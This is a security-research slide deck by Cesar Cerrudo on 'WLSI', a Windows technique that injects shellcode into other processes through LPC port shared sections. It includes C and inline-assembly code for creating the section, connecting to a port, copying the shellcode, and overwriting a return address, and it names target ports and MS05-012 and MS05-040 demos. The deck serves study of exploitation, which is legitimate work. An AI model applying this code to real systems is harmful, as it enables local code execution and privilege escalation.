WLSI
Windows Local Shellcode Injection

Cesar Cerrudo
Argeniss (www.argeniss.com)

Overview

- Introduction
- Establishing a LPC connection
- Creating a shared section
- The technique
- Building an exploit
- Problems with LPC ports
- Sample Exploits
- Conclusion
- References

Introduction

- When writing a local exploit you can face many problems:
  - Different return addresses.
  - Different Windows versions.
  - Different Windows service pack level.
  - Different Windows languages.
  - Limited space for shellcode.
  - Null byte restrictions.
  - Character set restrictions.
  - Buffer overflows/exploits protections.
  - Etc.

Introduction

- WLSI technique relies in the use of Windows LPC (Local/Lightweight Procedure Call)
  - LPC is an inter-process communication mechanism (IPC).
  - RPC uses LPC as a transport for local communications.
  - LPC allows processes to communicate by messages using LPC ports.
  - LPC is heavily used by Windows internals, also by OLE/COM, etc.
  - LPC is not well documented and here won't be detailed in depth, see References for more information.

Introduction

- LPC ports are Windows objects.
- Processes can create named LPC ports to which other processes can connect by referencing their names.
- LPC ports can be seen using Process Explorer from www.sysinternals.com.
- Almost every Windows process has a LPC port.
- LPC ports can be protected by ACLs.
- Shared sections can be used on LPC connections.

Establishing a LPC connection

- To connecto to a LPC port the native API NtConnectPort from Ntdll.dll is used

```
NtConnectPort(
OUT PHANDLE ClientPortHandle,
IN PUNICODE_STRING ServerPortName,
IN PSECURITY_QUALITY_OF_SERVICE SecurityQos,
IN OUT PLPCSECTIONINFO ClientSharedMemory OPTIONAL,
OUT PLPCSECTIONMAPINFO ServerSharedMemory OPTIONAL,
OUT PULONG MaximumMessageLength OPTIONAL,
IN OUT PVOID ConnectionInfo OPTIONAL,
IN OUT PULONG ConnectionInfoLength OPTIONAL );
```

Establishing a LPC connection

- There are others LPC APIs but they won't be detailed here because they won't be used.
- To establish a connection the most important values we have to supply are
  - the LPC port name in an UNICODE_STRING structure

```
typedef struct _UNICODE_STRING {
USHORT Length;                 //length of the unicode string
USHORT MaximumLength;          //length of the unicode string + 2
PWSTR Buffer;                  //pointer to unicode string
} UNICODE_STRING;
```

Establishing a LPC connection

– the LPCSECTIONINFO structure values

```
typedef struct LpcSectionInfo {
DWORD Length;                   //length of the structure
HANDLE SectionHandle;           //handle to a shared section
DWORD Param1;                   //not used
DWORD SectionSize;              //size of the shared section
DWORD ClientBaseAddress;        //returned by the function
DWORD ServerBaseAddress;        //returned by the function
} LPCSECTIONINFO;
```

To fill this structure a shared section has to be created first, this shared section will be mapped on both processes (the one which we are connecting from and the target process we are connecting to) after a successful connection.

Establishing a LPC connection

- On LPCSECTIONMAPINFO structure we only have to set the length of the structure

```
typedef struct LpcSectionMapInfo{
DWORD Length;                       //structure length
DWORD SectionSize;          //not used
DWORD ServerBaseAddress;    //not used
} LPCSECTIONMAPINFO;
```

- SECURITY_QUALITY_OF_SERVICE structure can have any value, we don't have to worry about it.
- For ConnectionInfo we can use a buffer with 100 null elements.
- ConnectionInfoLength should have the length of the buffer.

Creating a Shared Section

- In order to use this technique before a connection to a LPC port is established we need to create a shared section.
- To create a shared section the native API NtCreateSection from Ntdll.dll is used

```
NtCreateSection(
OUT PHANDLE SectionHandle,
IN ULONG DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,
IN PLARGE_INTEGER MaximumSize OPTIONAL,
IN ULONG PageAttributess,
IN ULONG SectionAttributes,
IN HANDLE FileHandle OPTIONAL );
```

Creating a Shared Section

- We only have to care about the next parameters
  - For DesiredAccess parameter we have to set what access to the section we want to have, we have to set it to read and write access.
  - On MaximunSize we have to set the size of the section we want, this can be any value but it should be enough to hold the data we will put later.
  - For PageAttributes we have to set also read and write.
  - For SectionAttributes we have to set it to committed memory.

The Technique

- We just saw that on NtConnectPort API parameters we can supply a shared section on one of the structures
  - This shared section will be mapped on both processes that are part of the communication.
  - It means that “all” the stuff we put on our process shared section will be instantly mapped on the other process.
  - The address where the shared section is mapped at the target process is returned by the function.

The Technique

- Basically when exploiting a vulnerability using LPC we will be able to put shellcode on target process and we will know exactly were the shellcode is located, so we only have to make the target process to jump to that address and voila!, that's all.
  - For instance if you want to put code on smss.exe process you have to create a shared section, connect to \DbgSsApiPort LPC port, then put the code on the shared section and that code will be instantly mapped on smss.exe address space, or maybe you want to put code on services.exe process, do the same as described before but connecting to \RPC Control\DNSResolver LPC port.

The Technique

- This technique has the following pros
  - Windows language independent.
  - Windows service pack level independent.
  - Windows version independent.
  - No shellcode size restrictions.
  - No null byte restrictions, no need to encode.
  - No character set restrictions.
  - Bypass some exploit/overflow protections.
  - Quick exploit development.

The Technique

- This technique has the following cons
  - Few processes haven't a LPC port, not very likely, most Windows processes have one.
  - Couldn't work if the vulnerability is a buffer overflow caused by an ASCII string
    - Sometimes the shared section address at the target process is mapped at 0x00XX0000.
    - Not very likely, most buffer overflow vulnerabilities on Windows are caused by Unicode strings.
    - This problem can be solved by connecting multiple times to a LPC port until a good address is returned.

Building an exploit

- An exploit using this technique have to do the next
  - Create a shared section to be mapped on LPC connection.
  - Connect to vulnerable process LPC port specifying the previously created shared section.
  - After a successful connection two pointers to the shared section are returned, one for the shared section at client process and one for the server process.
  - Copy shellcode to shared section mapped at client process, this shellcode will be instantly mapped on target process.
  - Trigger the vulnerability making vulnerable process jump to the shared section where the shellcode is located.

Building an exploit

- Let's see a simple sample exploit for a fictitious vulnerability
  - Service XYZ has VulnerableFunction() that takes a Unicode string buffer and sends it to XYZ service where the buffer length is not properly validated.
  - While this sample is based on a buffer overflow vulnerability this technique is not limited to this kind of bugs, it can be used on any kind of vulnerabilities.

Building an exploit

- The next code creates a committed shared memory section of 0x10000 bytes with all access (read, write, execute, etc.) and with read and write page attributes

```
HANDLE hSection=0;
LARGE_INTEGER SecSize;
SecSize.LowPart=0x10000;
SecSize.HighPart=0x0;
if(NtCreateSection(&hSection,SECTION_ALL_ACCESS,NULL,&SecSize,
  PAGE_READWRITE,SEC_COMMIT ,NULL)
     printf("Could not create shared section. \n");
```

Building an exploit

- The following code connects to a LPC Port named LPCPortName, passing the handle and size of the created shared section

```
HANDLE hPort;
LPCSECTIONINFO sectionInfo;
LPCSECTIONMAPINFO mapInfo;
DWORD Size = sizeof(ConnectDataBuffer);
UNICODE_STRING uStr;
WCHAR * uString=L"\\LPCPortName";
DWORD maxSize;
SECURITY_QUALITY_OF_SERVICE qos;
byte ConnectDataBuffer[0x100];
```

Building an exploit

```
for (i=0;i<0x100;i++)
        ConnectDataBuffer[i]=0x0;
memset(&sectionInfo, 0, sizeof(sectionInfo));
memset(&mapInfo, 0, sizeof(mapInfo));
sectionInfo.Length = 0x18;
sectionInfo.SectionHandle =hSection;
sectionInfo.SectionSize = 0x10000;
mapInfo.Length = 0x0C;
uStr.Length = wcslen(uString)*2;
uStr.MaximumLength = wcslen(uString)*2+2;
uStr.Buffer =uString;
if (NtConnectPort(&hPort,&uStr,&qos,(DWORD *)&sectionInfo,(DWORD
    *)&mapInfo,&maxSize,(DWORD*)ConnectDataBuffer,&Size))
        printf("Could not connect to LPC port.\n");
```

Building an exploit

- After a successful connection, pointers to the beginning of the mapped shared section on client process and the server process is returned on sectionInfo.ClientBaseAddress and sectionInfo.ServerBaseAddress respectively.
- The next code copies the shellcode to the client mapped shared section

Building an exploit

```
_asm {
	pushad
	lea esi, Shellcode
	mov edi, sectionInfo.ClientBaseAddress
	add edi, 0x10		//avoid 0000
	lea ecx, End
	sub ecx, esi
	cld
	rep movsb
	jmp Done
Shellcode:
		//place your shellcode here
End:
Done:
	popad  }
```

Building an exploit

- The next code triggers the vulnerability making vulnerable process jump to the server process mapped shared section

```
_asm{
        pushad
        lea ebx, [buffer+0xabc]
        mov eax, sectionInfo.ServerBaseAddress
        add eax, 0x10      //avoid 0000
        mov [ebx], eax     //set shared section pointer to overwrite return address
        popad
}
VulnerableFunction(buffer); //trigger the vulnerability to get shellcode execution
```

Problems with LPC ports

- There are some problems when exploiting using LPC:
  1. Some LPC port names are dynamic (ports used by OLE/COM), this means that the name of the port changes all the time when it's created by a process.
  2. A few LPC ports have strong ACL and won't let us to connect unless we have enough permissions.
  3. Some LPC ports need some specific data to be passed on ConnectionInfo parameter in order to let us establish a connection.

Problems with LPC ports

- For problem #1 we have 2 alternatives
  - Reverse engineering how LPC port names are resolved (too much time consuming)
  - Hook some function to get the port name
    - Use OLE/COM object available APIs that connect to the port.
    - Hook the NtConnectPort API so we can get the target port name when the function tries to connect to the port.
    - A sample of this will be showed later.

Problems with LPC ports

- Problem #2 seems impossible to solve
  - Right now it seems it can't be solved but LPC is so obscure and I have seen some weird things on LPC that I'm not 100% sure.
  - It's possible to connect indirectly to an LPC port “bypassing” permissions but it seems difficult to have a shared section created, I should go deep on this when I have some free time :).

Problems with LPC ports

- Problem #3 can be easily solved by reverse engineering how the connection to the problematic port is established
  - Debug, set a breakpoint on NtConnectPort API.
  - Look at parameters values.
  - Use the same values or learn how they are used in order to set proper values.

Sample exploits

- MS05-012
  - COM Structured Storage Vulnerability
  - CAN-2005-0047
  - Demo

Sample exploits

- MS05-040
  - Telephony Service Vulnerability
  - CAN-2005-0058
  - Demo

References

- Hacking Windows Internals
  http://www.argeniss.com/research/hackwininter.zip
- Undocumented Windows Functions
  http://undocumented.ntinternals.net
- Windows NT/2000 Native API reference
  http://www.amazon.com/exec/obidos/tg/detail/-/1578701996/102-0709802-0324157
- Local Procedure Call
  http://www.windowsitlibrary.com/Content/356/08/1.html

References

- Various security vulnerabilities with LPC ports *http://www.bindview.com/Services/razor/Advisories/2000/LPCAdvisory.cfm*
- Bypassing Windows Hardware-enforced Data Execution Prevention *http://www.uninformed.org/?v=2&a=4&t=txt*

Fin

- Questions?
- Thanks.
- Contact: cesar>at<argeniss>dot<com